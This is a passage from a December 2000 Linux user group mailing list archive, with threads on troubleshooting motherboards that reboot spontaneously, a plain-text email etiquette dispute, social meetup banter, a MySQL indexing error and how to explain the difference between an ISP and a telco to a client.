http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001201/73296707/attachment.pgp From thouck at thouck.com Fri Dec 1 12:28:48 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] Evil spontaneously rebooting intel MB's In-Reply-To: Message-ID: If everyone will excuse me while I mention DOS ... Try a minimal DOS boot disk. If it still reboots, it's definitely hardware. Was that out of line? :) On Fri, 1 Dec 2000, Austad, Jay wrote: > So I'm building this machine which is supposed to run without a video card. > I have 2 intel SE440BX2 PII400 MB's and chips. I boot the machine without > the video card in it, it boots fine, I can log into it over the network, and > then after being up for a few minutes it reboots. Sometimes it will reboot > even before the POST is done, so I know it's not the OS that's causing it. > Both boards do it, so I'm fairly sure it's not a problem with the hardware. > > > Does anyone know anything about this? I'm going to upgrade the BIOS and see > if that helps. I know the board will work without a video card, as many > companies who make x86 based network appliances use this exact same board. > > Jay > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From esper at sherohman.org Fri Dec 1 12:43:03 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] "plain text" In-Reply-To: <20001201122400.B46920@socrates.sistina.com>; from blutgens@sistina.com on Fri, Dec 01, 2000 at 12:24:00PM -0600 References: <3A27D643.2090501@innominatus.com> <20001201105111.A10501@knicknack.net> <3A27DC87.2020801@innominatus.com> <20001201114023.C46449@socrates.sistina.com> <20001201114928.E32169@sherohman.org> <20001201122400.B46920@socrates.sistina.com> Message-ID: <20001201124303.F32169@sherohman.org> Yowza! I didn't expect to hi an exposed nerve... On Fri, Dec 01, 2000 at 12:24:00PM -0600, Ben Lutgens wrote: > On Fri, Dec 01, 2000 at 11:49:29AM -0600, Dave Sherohman wrote: > >On Fri, Dec 01, 2000 at 11:40:23AM -0600, Ben Lutgens wrote: > > > >Interesting... multipart/signed is plain text, but multipart/alternative > >isn't... > > > The keyword there is alternative, My point was simply that either multipart is plain text or it isn't. > in order to read the text I need to use > another menu and explicitly "view" the attached text. Your mutt must be configured differently that mine, then. When I get multipart/alternative messages, I rarely even notice. mutt shows me the text/plain and mentions that there's a text/html version also. Sure, there's another menu involved if I want to see the HTML version, but I don't care to, so I blow past it just like I blow past GPG's complaint about not being able to verify your signature. > You do know what an RFC is don't you? Misnamed? > When you windows users send mail to a linux related list, and someone like me > who uses mutt tries to read that mail, Look at my headers before assuming that, simply because I pointed out a loose definition of what constitutes "plain text", I must be using Windows. In particular, take a look at the User-Agent. > there is no proper "body" of the > message. Hence we have to view the attachments. Again, I rarely encounter multipart/alternatives which are mangled badly enough that mutt doesn't show them to me in a reasonable fashion. I don't think I've ever seen one on the TCLUG list. (There's usually one every couple of weeks on debian-user, but I don't think I've run into any aside from that.) > It's irritating, and I asked you nicely to please post in plain text to the > list. I don't think that's too much to ask. It might take you a second or two > to set the address for the list to "Send plain text only" in your address > book. If my messages don't look like plain text to you, then there's something very seriously wrong with your mutt config. I'm not sending multipart/anything. -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r++ y+ From natecars at real-time.com Fri Dec 1 12:43:53 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: <20001201122644.C46920@socrates.sistina.com> Message-ID: On Fri, 1 Dec 2000, Ben Lutgens wrote: > Yeah, I for one appreciate the kick in the pants to get away from my computers > and actually socialize with carbon based life forms. Hell, one of these trips > I might even meat a girl! ^^^^-- thanks for sharing.. > Doubt it but hey, it could happen. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From austad at marketwatch.com Fri Dec 1 12:43:07 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. Message-ID: All the more reason to go to The Lowertown. :) I've got a High Speed II The Getaway, and a Centipede also right upstairs from the Lowertown too if anyone is bent on playing them. :) Jay > -----Original Message----- > From: Jacqueline Urick [mailto:jacque@fruitioninc.com] > Sent: Friday, December 01, 2000 12:00 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] You are lame for not attending the beer meeting. > > > Oh man, Tales of the Arabian Knights is like the best pinball > game EVER! They > have that at the Triple Rock (at least it was still there > last time I was > there) and they used to have it at the Stardust bowling alley. > > ~j > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From blutgens at sistina.com Fri Dec 1 12:45:48 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] "plain text" In-Reply-To: <20001201122423.A18241@pchelka.space.umn.edu>; from crumley@belka.space.umn.edu on Fri, Dec 01, 2000 at 12:24:24PM -0600 References: <3A27D643.2090501@innominatus.com> <20001201105111.A10501@knicknack.net> <3A27DC87.2020801@innominatus.com> <20001201114023.C46449@socrates.sistina.com> <20001201114928.E32169@sherohman.org> <20001201122423.A18241@pchelka.space.umn.edu> Message-ID: <20001201124548.B47193@socrates.sistina.com> On Fri, Dec 01, 2000 at 12:24:24PM -0600, Jim Crumley wrote: > >Yeah, and mutt has no problem with either of them . > I use mutt and have no problems with gpg keys, sigs or the like. I can send you my procmail and muttrc excerpts if you like. Me and the fellas from work put alot of work into them. I am looking into trying to make a procmail rule to rewrite the mails that those damnable windows MUAs generate. Later when I have time. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001201/7cf5d4c3/attachment.pgp From kent at structural-wood.com Fri Dec 1 12:46:23 2000 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. References: <3A27D643.2090501@innominatus.com> <20001201105111.A10501@knicknack.net> <3A27DC87.2020801@innominatus.com> <3A27E46A.B209CF2F@fruitioninc.com> Message-ID: <3A27F1FF.B96A226A@structural-wood.com> Jacqueline Urick wrote: > > Well first off, I try to pick places that allow minors..at least for a > limited time. I always make reservations for non-smoking. I try to pick > places that have food, a decent beer/liquor selection, room for 10 - 15 > people to sit together and have a conversation and that have parking or > are easy to get to. I didn't know that you were doing the non-smoking thing! I'll make a much greater effort (well... I'll make AN effort) to get there next time. Thanks! (trimmed...) From austad at marketwatch.com Fri Dec 1 12:45:01 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. Message-ID: > and actually socialize with carbon based life forms. Hell, > one of these trips > I might even meat a girl! Maybe you could be #2!!!!! http://bbspot.com/News/2000/9/linux_laid.html From austad at marketwatch.com Fri Dec 1 12:46:18 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] Evil spontaneously rebooting intel MB's Message-ID: I booted both with a linux boot disk, and a certain other OS which I should not mention. It did the same thing with both. Hopefully it doesn't reboot during the bios upgrade... :O > -----Original Message----- > From: Timothy Houck [mailto:thouck@thouck.com] > Sent: Friday, December 01, 2000 12:29 PM > To: 'tclug-list@lists.real-time.com' > Subject: Re: [TCLUG] Evil spontaneously rebooting intel MB's > > > If everyone will excuse me while I mention DOS ... > > Try a minimal DOS boot disk. If it still reboots, it's definitely > hardware. > > Was that out of line? :) > > On Fri, 1 Dec 2000, Austad, Jay wrote: > > > So I'm building this machine which is supposed to run > without a video card. > > I have 2 intel SE440BX2 PII400 MB's and chips. I boot the > machine without > > the video card in it, it boots fine, I can log into it over > the network, and > > then after being up for a few minutes it reboots. > Sometimes it will reboot > > even before the POST is done, so I know it's not the OS > that's causing it. > > Both boards do it, so I'm fairly sure it's not a problem > with the hardware. > > > > > > Does anyone know anything about this? I'm going to upgrade > the BIOS and see > > if that helps. I know the board will work without a video > card, as many > > companies who make x86 based network appliances use this > exact same board. > > > > Jay > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > --------------------------------------------------------------------- > Timothy Houck > thouck@thouck.com > www.thouck.com > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From kent at structural-wood.com Fri Dec 1 12:48:12 2000 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. References: <20001201122644.C46920@socrates.sistina.com> Message-ID: <3A27F26C.E4DA9B07@structural-wood.com> Ben Lutgens wrote: > > On Fri, Dec 01, 2000 at 12:01:40PM -0600, Chris Opp wrote: > > > >I think Jacqueline has done a good job, and everbody should stop their > >bitching. Just make it when you can. Most importantly have fun....... Cut > >Jacqueline some slack here. > > Yeah, I for one appreciate the kick in the pants to get away from my computers > and actually socialize with carbon based life forms. Hell, one of these trips > I might even meat a girl! > ---------------^^^^ That is so freudian... From cop7586 at hotmail.com Fri Dec 1 12:55:56 2000 From: cop7586 at hotmail.com (Chris Opp) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. Message-ID: Ben--- We think on the same level. Chris >From: Ben Lutgens >Reply-To: tclug-list@lists.real-time.com >To: tclug-list@lists.real-time.com >Subject: Re: [TCLUG] You are lame for not attending the beer meeting. >Date: Fri, 1 Dec 2000 12:26:44 -0600 > >On Fri, Dec 01, 2000 at 12:01:40PM -0600, Chris Opp wrote: > > > >I think Jacqueline has done a good job, and everbody should stop their > >bitching. Just make it when you can. Most importantly have fun....... Cut > >Jacqueline some slack here. > >Yeah, I for one appreciate the kick in the pants to get away from my >computers >and actually socialize with carbon based life forms. Hell, one of these >trips >I might even meat a girl! > >Doubt it but hey, it could happen. > > > > >Chris Opp > > > > > > > > > > > >>From: Jacqueline Urick > >>Reply-To: tclug-list@lists.real-time.com > >>To: tclug-list@lists.real-time.com > >>Subject: Re: [TCLUG] You are lame for not attending the beer meeting. > >>Date: Fri, 01 Dec 2000 11:48:26 -0600 > >> > >>Well first off, I try to pick places that allow minors..at least for a > >>limited time. I always make reservations for non-smoking. I try to pick > >>places that have food, a decent beer/liquor selection, room for 10 - 15 > >>people to sit together and have a conversation and that have parking or > >>are easy to get to. > >> > >>At the first meeting there were 2-3 people who were underage there. No > >>problems, I think we all still had an enjoyable time. Last night I > >>didn't even have a drink...just soda. I know of three places that sell > >>liquor and food that allows minors, has great coffee/ tea *and* > >>vegan/vegetarian food. That would be Pizza Luce, Triple Rock and > >>Jitters. Unfortunately, the Triple Rock is bad for groups, except in the > >>summer, and Luce and Jitters are difficult to find and find parking. In > >>addition, it makes all the meetings very Mpls-centric. The point of the > >>"beer" meeting is that it travels, so that its pretty fair to everyone > >>in the metro. > >> > >>ie: The TCLUG Beeting is coming your way soon! > >> > >>If you guys have suggestions or know of places like Jitters, Luce in the > >>metro and the like..please let me know! > >> > >> > >>~jacque > >> > >> > >>_______________________________________________ > >>tclug-list mailing list > >>tclug-list@lists.real-time.com > >>https://mailman.real-time.com/mailman/listinfo/tclug-list > > > >_____________________________________________________________________________________ > >Get more from the Web. FREE MSN Explorer download : >http://explorer.msn.com > > > >_______________________________________________ > >tclug-list mailing list > >tclug-list@lists.real-time.com > >https://mailman.real-time.com/mailman/listinfo/tclug-list > >-- >Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ >Sistina Software Inc. work: 612.379.3951 >Code Monkey Support (A.K.A. System Administrator) >Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 ><< attach3 >> _____________________________________________________________________________________ Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com From dopp at acm.cs.umn.edu Fri Dec 1 12:56:30 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. In-Reply-To: <20001201122644.C46920@socrates.sistina.com>; from blutgens@sistina.com on Fri, Dec 01, 2000 at 12:26:44PM -0600 References: <20001201122644.C46920@socrates.sistina.com> Message-ID: <20001201125630.L1829@sorry.cs.umn.edu> > > Yeah, I for one appreciate the kick in the pants to get away from my computers > and actually socialize with carbon based life forms. Hell, one of these trips > I might even meat a girl! ^^^^ HAHA! A very unfortunate typo... :) Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Pillage Pillage Pillage! Loot Loot Loot!!" - Stimpson J. Cat in "Out West" -------------------------------------------------------------------------------- From clay at fandre.com Fri Dec 1 13:04:43 2000 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. References: <20001201122644.C46920@socrates.sistina.com> Message-ID: <3A27F64B.3D4F8020@fandre.com> Ben Lutgens wrote: > > On Fri, Dec 01, 2000 at 12:01:40PM -0600, Chris Opp wrote: > > > >I think Jacqueline has done a good job, and everbody should stop their > >bitching. Just make it when you can. Most importantly have fun....... Cut > >Jacqueline some slack here. > > Yeah, I for one appreciate the kick in the pants to get away from my computers What? No computers? Hell if I'm going then. > and actually socialize with carbon based life forms. Hell, one of these trips > I might even meat a girl! > Don't you mean "meet a girl"? Or is "meat a girl" really what you want to do? (Sorry. That's terrible of me) From jacque at fruitioninc.com Fri Dec 1 13:20:31 2000 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:12:52 2005 Subject: [TCLUG] You are lame for not attending the beer meeting. References: <20001201122644.C46920@socrates.sistina.com> <3A27F64B.3D4F8020@fandre.com> Message-ID: <3A27F9FF.7F115CA2@fruitioninc.com> > What? No computers? Hell if I'm going then. > well at last nights meeting I *almost* got the laptop out of the car. Bill (not Layer) wasn't sure if the little sign on the table was enough! ~j From crumley at belka.space.umn.edu Fri Dec 1 13:43:56 2000 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 13:12:53 2005 Subject: [TCLUG] "plain text" In-Reply-To: <20001201124548.B47193@socrates.sistina.com>; from blutgens@sistina.com on Fri, Dec 01, 2000 at 12:45:48PM -0600 References: <3A27D643.2090501@innominatus.com> <20001201105111.A10501@knicknack.net> <3A27DC87.2020801@innominatus.com> <20001201114023.C46449@socrates.sistina.com> <20001201114928.E32169@sherohman.org> <20001201122423.A18241@pchelka.space.umn.edu> <20001201124548.B47193@socrates.sistina.com> Message-ID: <20001201134356.A4168@mushka.space.umn.edu> On Fri, Dec 01, 2000 at 12:45:48PM -0600, Ben Lutgens wrote: > On Fri, Dec 01, 2000 at 12:24:24PM -0600, Jim Crumley wrote: > > > >Yeah, and mutt has no problem with either of them . > > > I use mutt and have no problems with gpg keys, sigs or the like. I can send > you my procmail and muttrc excerpts if you like. Me and the fellas from work > put alot of work into them. I am looking into trying to make a procmail rule > to rewrite the mails that those damnable windows MUAs generate. Oops, I should have looked more closely at your header. I don't understand why those messages give you problems. It looks like we both use the same version of mutt - 1.2.5i. My muttrc is fairly vanilla - just a slightly hacked up version of a sample from mutt.org. -- Jim Crumley | crumley@fields.space.umn.edu | Work: 612 624-6804 or -0378 | From sales at secretmaker.com Fri Dec 1 07:22:34 2000 From: sales at secretmaker.com (sales - secretmaker ag) Date: Mon Jan 17 13:12:53 2005 Subject: [TCLUG] make your privacy secret Message-ID: <200012011945.eB1Jj2n15354@sprite.real-time.com> Skipped content of type multipart/alternative-------------- next part -------------- A non-text attachment was scrubbed... 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In-Reply-To: ; from natecars@real-time.com on Fri, Dec 01, 2000 at 12:43:53PM -0600 References: <20001201122644.C46920@socrates.sistina.com> Message-ID: <20001201141049.E47835@socrates.sistina.com> On Fri, Dec 01, 2000 at 12:43:53PM -0600, Nate Carlson wrote: >On Fri, 1 Dec 2000, Ben Lutgens wrote: >> Yeah, I for one appreciate the kick in the pants to get away from my computers >> and actually socialize with carbon based life forms. Hell, one of these trips >> I might even meat a girl! > ^^^^-- thanks for sharing.. DOH! I once accidentally used the word "shit" instead of "ship" too. like this. "And they will even shit it to us in a couple days" > >> Doubt it but hey, it could happen. > >-- >Nate Carlson | Phone : (952)943-8700 >http://www.real-time.com | Fax : (952)943-8500 > > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... 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Todd Gustafson 651-415-7575 tclug-list-digest-help@mn -linux.org To: tclug-list@mn-linux.org cc: 12-01-2000 01:45 PM Subject: tclug-list Digest 1 Dec 2000 19:45:00 Please respond to -0000 Issue 791 tclug-list tclug-list Digest 1 Dec 2000 19:45:00 -0000 Issue 791 Topics (messages 23877 through 23880): Mailman upgrade 23877 by: Bob Tanner pre kernel series? 23878 by: Bob Tanner Reminder: beer meeting TONIGHT at Billy's on Grand 23879 by: Jacqueline Urick 23880 by: Jacqueline Urick Administrivia: To subscribe to the digest, e-mail: tclug-list-digest-subscribe@mn-linux.org To unsubscribe from the digest, e-mail: tclug-list-digest-unsubscribe@mn-linux.org To post to the list, e-mail: tclug-list@mn-linux.org ---------------------------------------------------------------------- Content-Type: text/plain; charset=us-ascii What : Schedule maintenance When : 29-Nov-2000 18:00 CST Length : estimated 15 mins Why : Mailman upgrade Details ------- Mailman upgrade. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 Content-Type: text/plain; charset=us-ascii Where can I get the pre series of kernels? I am looking for 2.2.18pre23. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 Content-Type: multipart/alternative; boundary=" ------------4552A46DA83B8DDC2A98DDEB" --------------4552A46DA83B8DDC2A98DDEB Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Hi - This is just a reminder that we're meeting at Billy's on Grand in St. paul, tonight. Minors will be allowed until 7pm for sure, possibly until 8. Time: 5:30 - 8 pm Place: Billy's on Grand 857 Grand Ave St Paul, MN 651-292-1316 Directions: http://twincities.citysearch.com/page/gen?_template =%2Fentity%2Fentity_map.html&_entity_id=V-MINMN-00028280&address=857+Grand+Ave&city=St+Paul&state &postal_code=55105-3398&cross_street=&phone =%28651%29+292-1316&map_it.x=31&map_it.y=18 I'll have a little TCLUG sign for the table and the reservations are for the TCLUG, so ask a server/ host if you can't find us. Hope to see you tonight! Jacque --------------4552A46DA83B8DDC2A98DDEB-- Content-Type: multipart/alternative; boundary=" ------------4552A46DA83B8DDC2A98DDEB" --------------4552A46DA83B8DDC2A98DDEB Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Hi - This is just a reminder that we're meeting at Billy's on Grand in St. paul, tonight. Minors will be allowed until 7pm for sure, possibly until 8. Time: 5:30 - 8 pm Place: Billy's on Grand 857 Grand Ave St Paul, MN 651-292-1316 Directions: http://twincities.citysearch.com/page/gen?_template =%2Fentity%2Fentity_map.html&_entity_id=V-MINMN-00028280&address=857+Grand+Ave&city=St+Paul&state &postal_code=55105-3398&cross_street=&phone =%28651%29+292-1316&map_it.x=31&map_it.y=18 I'll have a little TCLUG sign for the table and the reservations are for the TCLUG, so ask a server/ host if you can't find us. Hope to see you tonight! Jacque --------------4552A46DA83B8DDC2A98DDEB-- From austad at marketwatch.com Fri Dec 1 15:28:48 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] Evil spontaneously rebooting intel MB's Message-ID: > Spontaneous reboots often point to bad RAM. Are you borrowing DIMMS > from one board to the other? Yes, I am... The machine I took the RAM out of wouldn't even boot, but I assumed it was probably the board. Would a reboot during POST still point to bad RAM? I'll try replacing that anyway. Jay > -----Original Message----- > From: destef@mail.destef.com [mailto:destef@mail.destef.com] > Sent: Wednesday, June 07, 2000 12:16 PM > To: 'tclug-list@lists.real-time.com' > Subject: Re: [TCLUG] Evil spontaneously rebooting intel MB's > > > Spontaneous reboots often point to bad RAM. Are you borrowing DIMMS > from one board to the other? Just a shot in the dark idea. > > Jason > > > On Fri, 1 Dec 2000, Austad, Jay wrote: > > > So I'm building this machine which is supposed to run > without a video card. > > I have 2 intel SE440BX2 PII400 MB's and chips. I boot the > machine without > > the video card in it, it boots fine, I can log into it over > the network, and > > then after being up for a few minutes it reboots. > Sometimes it will reboot > > even before the POST is done, so I know it's not the OS > that's causing it. > > Both boards do it, so I'm fairly sure it's not a problem > with the hardware. > > > > > > Does anyone know anything about this? I'm going to upgrade > the BIOS and see > > if that helps. I know the board will work without a video > card, as many > > companies who make x86 based network appliances use this > exact same board. > > > > Jay > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From andy at theasis.com Fri Dec 1 16:23:45 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] Evil spontaneously rebooting intel MB's In-Reply-To: Message-ID: > Spontaneous reboots often point to bad RAM. Are you borrowing DIMMS > from one board to the other? Just a shot in the dark idea. > > Jason To further complete the census, I was having daily reboots at the same time from only *one* of 2 machines that were plugged into the same UPS. Turns out it was cutting power to at least one of its sockets after its battery went bad. Andy From tanner at real-time.com Fri Dec 1 16:30:27 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] MySQL, udmsearch, which is to blame Message-ID: <20001201163027.P5845@real-time.com> I am getting the following error in udmsearch: $ indexer indexer from UdmSearch v.3.0.21/MySQL started with '/etc/udmsearch/indexer.conf'http://archives2.real-time.com/pipermail/tclug-list/2000-November/004225.html Error: '#1030: Got error -1 from table handler' The udmsearch people say it's MySQL returning the error. MySQL people say it's udmsearch. I'd just like to get it fixed. :-) Anyone seen this before? -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From nobody170 at yahoo.com Fri Dec 1 17:20:57 2000 From: nobody170 at yahoo.com (Bill Gladen) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] Re: Multipart messages & you're lame for not... Message-ID: <20001201232057.22567.qmail@web702.mail.yahoo.com> I won't whine or anything, but I will mention that I use an internet mail account and the tclug digest. It tends to show all of the parts in a multipart message. The secretmaker message was particularly annoying, as some of the parts were graphics, and showed up as a long string of hex. I'm willing to put up with this, and I'm not complaining of trying to side with anything, just put out my $.02 Beer meetings: I think they have been great. The wait staff was more attractive at the second (Yesterday) one. I tend not to expect to meat anyone, but flirting is fun, just the same. Bill (the other one) __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From destef at destef.com Fri Dec 1 17:25:09 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] Evil spontaneously rebooting intel MB's In-Reply-To: Message-ID: <200006071942.OAA01050@mail.destef.com> It could. My experience has been that the boot-up ram BIOS test rarely ever finds RAM problems even when they exist. I've experienced your problem before due to bad RAM. The system may boot and the bad portion of RAM may not be used at first, then as files are accessed and cached in RAM you hit the bad chip and BOOM!!! Let me know what you find out. Jason At 03:28 PM 12/1/00 -0600, you wrote: >> Spontaneous reboots often point to bad RAM. Are you borrowing DIMMS >> from one board to the other? > >Yes, I am... The machine I took the RAM out of wouldn't even boot, but I >assumed it was probably the board. Would a reboot during POST still point >to bad RAM? I'll try replacing that anyway. > >Jay > >> -----Original Message----- >> From: destef@mail.destef.com [mailto:destef@mail.destef.com] >> Sent: Wednesday, June 07, 2000 12:16 PM >> To: 'tclug-list@lists.real-time.com' >> Subject: Re: [TCLUG] Evil spontaneously rebooting intel MB's >> >> >> Spontaneous reboots often point to bad RAM. Are you borrowing DIMMS >> from one board to the other? Just a shot in the dark idea. >> >> Jason >> >> >> On Fri, 1 Dec 2000, Austad, Jay wrote: >> >> > So I'm building this machine which is supposed to run >> without a video card. >> > I have 2 intel SE440BX2 PII400 MB's and chips. I boot the >> machine without >> > the video card in it, it boots fine, I can log into it over >> the network, and >> > then after being up for a few minutes it reboots. >> Sometimes it will reboot >> > even before the POST is done, so I know it's not the OS >> that's causing it. >> > Both boards do it, so I'm fairly sure it's not a problem >> with the hardware. >> > >> > >> > Does anyone know anything about this? I'm going to upgrade >> the BIOS and see >> > if that helps. I know the board will work without a video >> card, as many >> > companies who make x86 based network appliances use this >> exact same board. >> > >> > Jay >> > _______________________________________________ >> > tclug-list mailing list >> > tclug-list@lists.real-time.com >> > https://mailman.real-time.com/mailman/listinfo/tclug-list >> > >> >> _______________________________________________ >> tclug-list mailing list >> tclug-list@lists.real-time.com >> https://mailman.real-time.com/mailman/listinfo/tclug-list >> >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list > From tanner at real-time.com Fri Dec 1 17:44:00 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) Message-ID: <20001201174400.H12133@real-time.com> Been running into this lately, so I thought I would ask the collective knowledge of the LUG this question: How do you explain to people the difference between a Telco and an ISP? The people are totally newbies and very, very non-techincal. The situation I am in is a client lost their DSL service from USWest. After days of calling and hours on the phone with Qwest I was told that they are beyond the 19,000 foot mark. Qwest says they should have never gotten DSL in the first place. Qwest will not, no matter what put DSL down that circuit. Qwest has not explaination on how they got DSL in the first place. Anyways, this client is very upset. They keep calling us and asking us to "fix the problem". I have tried (very patiently) to explain Real Time is an ISP, we provide Internet access. Qwest is a telco, they provide the physical connectivity. It just doesn't sink in. I have tried this analogy. Real Time is an automotive dealer, we sell cars. Qwest is like MNDOT, they build roads. You (the client) have bought a speedy but very safe car (linux). It comes with an airbag (ipchains) for safety, etc.. You got the car, but there is no roads to drive on. It didn't sink in. So, how can you explain to the client that when the physical link is down, no matter how bad you want to fix it from them, Qwest must be involved and they must do the fix? -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From kent at structural-wood.com Fri Dec 1 17:48:08 2000 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] Evil spontaneously rebooting intel MB's References: <200006071942.OAA01050@mail.destef.com> Message-ID: <3A2838B8.72BBD0ED@structural-wood.com> Here is a ram test http://reality.sgi.com/cbrady_denver/memtest86/ Jason DeStefano wrote: > > It could. My experience has been that the boot-up ram BIOS test > rarely ever finds RAM problems even when they exist. I've experienced > your problem before due to bad RAM. The system may boot and the > bad portion of RAM may not be used at first, then as files are accessed > and cached in RAM you hit the bad chip and BOOM!!! > > Let me know what you find out. > > Jason > > At 03:28 PM 12/1/00 -0600, you wrote: > >> Spontaneous reboots often point to bad RAM. Are you borrowing DIMMS > >> from one board to the other? > > > >Yes, I am... The machine I took the RAM out of wouldn't even boot, but I > >assumed it was probably the board. Would a reboot during POST still point > >to bad RAM? I'll try replacing that anyway. > > > >Jay > > (trimmed...) From manero at yossman.net Fri Dec 1 18:04:18 2000 From: manero at yossman.net (Anthony Collen) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] Re: [TCLUG:23883] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <20001201174400.H12133@real-time.com> Message-ID: On Fri, 1 Dec 2000, Bob Tanner wrote: > It didn't sink in. > > So, how can you explain to the client that when the physical link is down, no > matter how bad you want to fix it from them, Qwest must be involved and they > must do the fix? Just use the analogy of a phone line and dialup internet access. You're AOL (or something), Qwest is the phone company. If they still don't get it, give THEM the Qwest Tech support phone # and have them try to straighten it out (heh). See how they like it. IT's probably not good customer relations, but it's not your fault they can't get a simple idea. Tony From jethro at freakzilla.com Fri Dec 1 17:51:40 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:12:54 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <20001201174400.H12133@real-time.com> Message-ID: Hi, On Fri, 1 Dec 2000, Bob Tanner wrote: > How do you explain to people the difference between a Telco and an ISP? > > The people are totally newbies and very, very non-techincal. I'd try a diagram: [ Your House] ----Qworst----> [Real-Time] ---Internet----> Nicer drawings would be good... -Yaron -- From jethro at freakzilla.com Fri Dec 1 17:56:02 2000 From: jethro at 